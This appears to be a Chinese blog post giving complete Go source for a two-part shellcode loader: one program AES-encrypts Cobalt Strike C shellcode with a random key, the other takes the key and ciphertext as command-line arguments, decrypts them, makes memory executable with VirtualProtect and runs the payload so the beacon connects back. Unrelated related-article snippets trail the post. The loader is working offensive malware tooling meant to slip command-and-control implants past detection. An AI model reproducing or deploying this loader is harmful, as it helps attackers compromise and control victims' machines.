当前位置: 首页 > news >正文

Golang-分离式加载器(传参)AES加密

目录

enc.go

生成: 

dec.go

 --执行dec.go...--上线

 


cs生成个c语言的shellcode.

enc.go

go run .\enc.go shellcode

生成: 

 

--key为公钥.

--code为AES加密后的数据, 

----此脚本每次运行key和code都会变化.

package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""encoding/hex""fmt""math/rand""os""strings""time"
)//随机生成key,后面用来解密的
func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = append(result, bytes[r.Intn(len(bytes))])}return string(result)
}//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)
}//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil
}//主函数入口,对字符进行了处理
func main() {argsWithProg := os.Argsif len(argsWithProg) < 2 {fmt.Println("usage : ", argsWithProg[0], " paylaod.c")return}confFile := os.Args[1]str2 := strings.Replace(confFile, "\\x", "", -1)data, _ := hex.DecodeString(str2)key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(data, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)
}

dec.go

go run ./dec.go key code

--key,code都是上面生成的. 

package mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe"
)// 这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0
}// shellcode执行函数
func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()
}// 同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]
}// 经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = PKCS5UnPadding(origData)return origData, nil
}// 运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)
}

 --执行dec.go...--上线

 

 

相关文章:

Golang-分离式加载器(传参)AES加密

目录 enc.go 生成: dec.go --执行dec.go...--上线 cs生成个c语言的shellcode. enc.go go run .\enc.go shellcode 生成: --key为公钥. --code为AES加密后的数据, ----此脚本每次运行key和code都会变化. package mainimport ("bytes""crypto/aes"&…...

速览三版HTTP的改进策略

HTTP&#xff08;Hypertext Transfer Protocol&#xff09;是互联网通信的基础协议&#xff0c;自从其第一个版本推出以来&#xff0c;经历了多个版本的改进&#xff0c;每个版本都针对之前的不足进行了优化和增强。以下是HTTP/1.1、HTTP/2和HTTP/3的主要改进总结&#xff1a; …...

window.open(“.html“,“_blank“) 执行是下载,并没有打开新窗口显示html

window.open() 方法在浏览器中打开一个新窗口或者新标签页。如果你的 .html 文件被下载而不是在新窗口中打开&#xff0c;那可能是因为服务器的响应头设置了 Content-Disposition: attachment&#xff0c;这会导致浏览器把响应的内容作为一个文件下载。 如果你有权限修改服务器…...

【QT5.14.2】编译MQTT库example的时候报No such file or directory

【QT5.14.2】编译MQTT库example的时候报No such file or directory 前几天导师让跑一下MQTT库&#xff0c;用的5.14.2版本的QT&#xff0c;于是就上网搜了一个教程&#xff1a;https://www.bilibili.com/video/BV1dH4y1e7hG/?spm_id_from333.337.search-card.all.click&v…...

【数据结构】前缀树(字典树)汇总

基础 {“a”,“abc”,“bac”,“bbc”,“ca” }的字典树如下图&#xff1a; 最主用的应用&#xff1a;一&#xff0c;字符串编码。二&#xff0c;位运算。 字符串编码 相比利用哈希映射编码&#xff0c;优点如下&#xff1a; 依次查询长度为n的字符串s的前缀时间复杂度是O(…...

Linux:基础开发工具

文章目录 Linux 软件包管理器 yum什么是软件包关于rzsz查看软件包安装软件卸载软件安装扩展源 Linux 编辑器 vimvim的基本概念正常/普通/命令模式(Normal mode)插入模式(Insert mode)底行模式(last line mode) vim的基本操作[命令模式]切换至[插入模式][插入模式]切换至[命令模…...

HarmonyOS NEXT Push接入

接入HarmonyOS NEXT Push 推送功能&#xff0c;相比于 Android 真的是简单太多。不再需要适配接入各个厂家的推送 SDK&#xff0c;真是舒服。 1.开通推送服务与配置Client ID 1.1 创建应用获取Client ID 按照官方文档来就可以了&#xff1a;https://developer.huawei.com/co…...

如何快速入门Element-UI:打造高效美观的前端界面

Element-UI 是一款基于 Vue.js 的开源组件库,提供了丰富的 UI 组件,可以帮助开发者快速构建美观、响应式的前端界面。本文将详细介绍如何快速入门 Element-UI,包括环境搭建、组件使用、样式定制及常见问题解决方法,帮助你高效地使用 Element-UI 进行前端开发。 一、环境搭…...

Langchain的向量存储 - Document示例代码里的疑问

文章目录 前言一、语句分析二、 举例解释三、 完整代码总结 前言 之前的代码里有下面这句话&#xff0c;可能有看不明白的读者。 vectors [embeddings.embed(doc.page_content) for doc in docs]今天一起来看下这句话。 一、语句分析 这句话实际上是一个列表推导式&#x…...

Docker 教程-介绍-2

快速了解docker有什么。 Docker简介 Docker 是一个开源的应用容器引擎&#xff0c;基于Go语言开发&#xff0c;并遵循Apache 2.0协议。它允许开发者将应用及其依赖包打包进一个可移植的容器中&#xff0c;这些容器可以发布到任何支持Docker的Linux或Windows机器上&#xff0c…...

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 伐木工(200分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 伐木工(200分) 🌍 评测功能需要订阅专栏后私信联系清隆解…...

UltraScale+系列模块化仪器,可以同时用作控制器、算法加速器和高速数字信号处理器

基于 XCZU7EG / XCZU4EG / XCZU2EG • 灵活的模块组合 • 易于嵌入的紧凑型外观结构 • 高性能的 ARM Cortex 处理器 • 成熟的 FPGA 可编程逻辑 &#xff0c;基于 IP 核的软件库 基于 Xilinx Zynq UltraScaleMPSoC 的 FPGA 技术&#xff0c;采用 Xilinx Zynq UltraScale&a…...

Python与其他编程语言(如Java、C++)相比有哪些优势?

一、技术难点 在探讨Python与其他编程语言相比的优势时&#xff0c;技术难点在于如何全面、准确地把握并阐述这些优势。这需要对Python、Java、C等编程语言有深入的理解&#xff0c;包括它们的语法特性、应用领域、性能特点、开发效率等。 首先&#xff0c;Python的语法简洁明…...

Edge浏览器双击关闭标签页,双击关闭浏览器选项卡

设置》外观》自定义浏览器&#xff0c;开启“使用双击关闭浏览器选项卡” 设置里面搜索“双击”&#xff0c;这是最快的方式 鼠标滚轮单击 或者进入“设置”-“辅助功能” 呼吁已久的功能来了&#xff01;Edge浏览器双击关闭标签页功能上线新 国产浏览器大多都有双击关闭标签页…...

C++ 贪心算法——跳跃游戏、划分字母区间

一&#xff1a;跳跃游戏 55. 跳跃游戏 题目描述&#xff1a;给你一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。判断你是否能够到达最后一个下标&#xff0c;如果可以&#xff0c;返回 true &#xff1…...

汽车数据应用构想(三)

上期说的&#xff0c;用数据去拟合停车信息的应用&#xff0c;那么类似的POI信息相关的场景其实都可以实现。今天讲讲用户使用频率也很高的加油/充电场景。 实际应用中&#xff0c;在加油场景中用户关心的通常还是价格。无论是导航还是各种加油APP/小程序&#xff0c;都已经很…...

体素技术在AI绘画中的革新作用

随着人工智能技术的不断进步&#xff0c;AI绘画已经成为艺术创作和视觉设计领域的一大趋势。在众多推动AI绘画发展的技术中&#xff0c;体素技术以其独特的优势&#xff0c;正在逐渐改变着我们对计算机生成图像的认识。本文旨在探讨体素技术在AI绘画中的应用与影响&#xff0c;…...

Leetcode.866 回文质数

题目链接 Leetcode.866 回文质数 rating : 1938 题目描述 给你一个整数 n n n &#xff0c;返回大于或等于 n n n 的最小 回文质数。 一个整数如果恰好有两个除数&#xff1a; 1 1 1 和它本身&#xff0c;那么它是 质数 。注意&#xff0c; 1 1 1 不是质数。 例如&#xf…...

【论文阅读】Point2RBox (CVPR’2024)

paper:https://arxiv.org/abs/2311.14758 code:https://github.com/yuyi1005/point2rbox-mmrotate...

深度学习的点云分割

深度学习的点云分割 点云分割是计算机视觉中的一个重要任务&#xff0c;特别是在三维数据处理和分析中。点云数据是由大量三维点构成的集合&#xff0c;每个点包含空间坐标&#xff08;x, y, z&#xff09;&#xff0c;有时还包含其他信息如颜色和法向量。点云分割的目标是将点…...

手把手教你用云GPU(极链AI云)零成本复现SlowFast视频动作识别,附完整配置文件与避坑指南

零成本云端复现SlowFast视频动作识别全攻略&#xff1a;极链AI云实战与参数精解 在计算机视觉领域&#xff0c;视频理解一直是个充满挑战的方向。不同于静态图像&#xff0c;视频数据包含丰富的时序信息&#xff0c;这对模型架构设计提出了更高要求。SlowFast作为Facebook AI R…...

jQuery WeUI移动端UI组件库架构解析与实现原理深度指南

jQuery WeUI移动端UI组件库架构解析与实现原理深度指南 【免费下载链接】jquery-weui 由于前端业界早已以React/Vue/Angular为主&#xff0c;个人也多年未使用过jQuery&#xff0c;此仓库已不再维护。推荐大家尽快转向 AntD、Element等更先进的UI库&#xff0c;https://ant.des…...

Java集成OpenAI全攻略:从SDK选型到企业级应用实战

1. 项目概述与核心价值最近在折腾一个内部的知识库问答机器人&#xff0c;后端服务用Java写的&#xff0c;自然就想找个好用的OpenAI SDK来对接。市面上Java的客户端库不少&#xff0c;但要么封装得过于简单&#xff0c;很多高级功能没有&#xff0c;要么就是更新不及时&#x…...

别再只调分辨率了!手把手教你用VESA时序搞定1080P显示器驱动(附Verilog代码)

从VESA标准到FPGA实战&#xff1a;构建1080P显示驱动的完整逻辑链 在数字显示技术领域&#xff0c;驱动一块19201080分辨率的屏幕远不止是配置几个参数那么简单。当我第一次尝试用FPGA驱动高清显示器时&#xff0c;发现大多数教程都停留在"设置分辨率"的层面&#xf…...

如何轻松完成ESP8266固件烧录:NodeMCU PyFlasher图形化工具详解

如何轻松完成ESP8266固件烧录&#xff1a;NodeMCU PyFlasher图形化工具详解 【免费下载链接】nodemcu-pyflasher Self-contained NodeMCU flasher with GUI based on esptool.py and wxPython. 项目地址: https://gitcode.com/gh_mirrors/no/nodemcu-pyflasher NodeMCU …...

ncmdumpGUI:解锁网易云音乐NCM文件格式的终极解决方案

ncmdumpGUI&#xff1a;解锁网易云音乐NCM文件格式的终极解决方案 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换&#xff0c;Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 还在为网易云音乐下载的NCM格式文件无法在其…...

艾尔登法环:黑夜君临2026.5.12最新破解版免费下载 一键转存 永久更新 (看到速转存 资源随时走丢)

下载链接 这是一篇关于《艾尔登法环&#xff1a;黑夜君临》&#xff08;Elden Ring: Nightreign&#xff09;的深度解析文章。 破碎边缘的守望&#xff1a;解析《艾尔登法环&#xff1a;黑夜君临》的架构与演变 在动作角色扮演游戏的版图上&#xff0c;《艾尔登法环》无疑是一…...

GPTMessage项目拆解:SwiftUI+Combine集成OpenAI与Hugging Face API实战

1. 项目概述与核心价值最近在折腾一个挺有意思的Side Project&#xff0c;一个叫GPTMessage的iOS/macOS应用。简单来说&#xff0c;它把ChatGPT的聊天能力、DALLE的图像生成&#xff0c;还有Hugging Face上的一些模型&#xff08;比如图像描述、Stable Diffusion&#xff09;给…...

性价比高可代理的油烟分离油烟机的厂家

最近跟10多个开厨电店的老板喝茶&#xff0c;一半人唉声叹气&#xff1a;去年赚的钱全压库存里了&#xff0c;3个做了十几年的老老板说&#xff0c;再找不到好产品&#xff0c;今年打算把店转了。为啥好好的店做成这样&#xff1f;说白了就是选品选错了&#xff0c;风口变了&am…...

终极指南:如何为你的戴尔G15笔记本安装免费开源散热控制中心

终极指南&#xff1a;如何为你的戴尔G15笔记本安装免费开源散热控制中心 【免费下载链接】tcc-g15 Thermal Control Center for Dell G15 - open source alternative to AWCC 项目地址: https://gitcode.com/gh_mirrors/tc/tcc-g15 tcc-g15 是一款专为戴尔G15系列游戏笔…...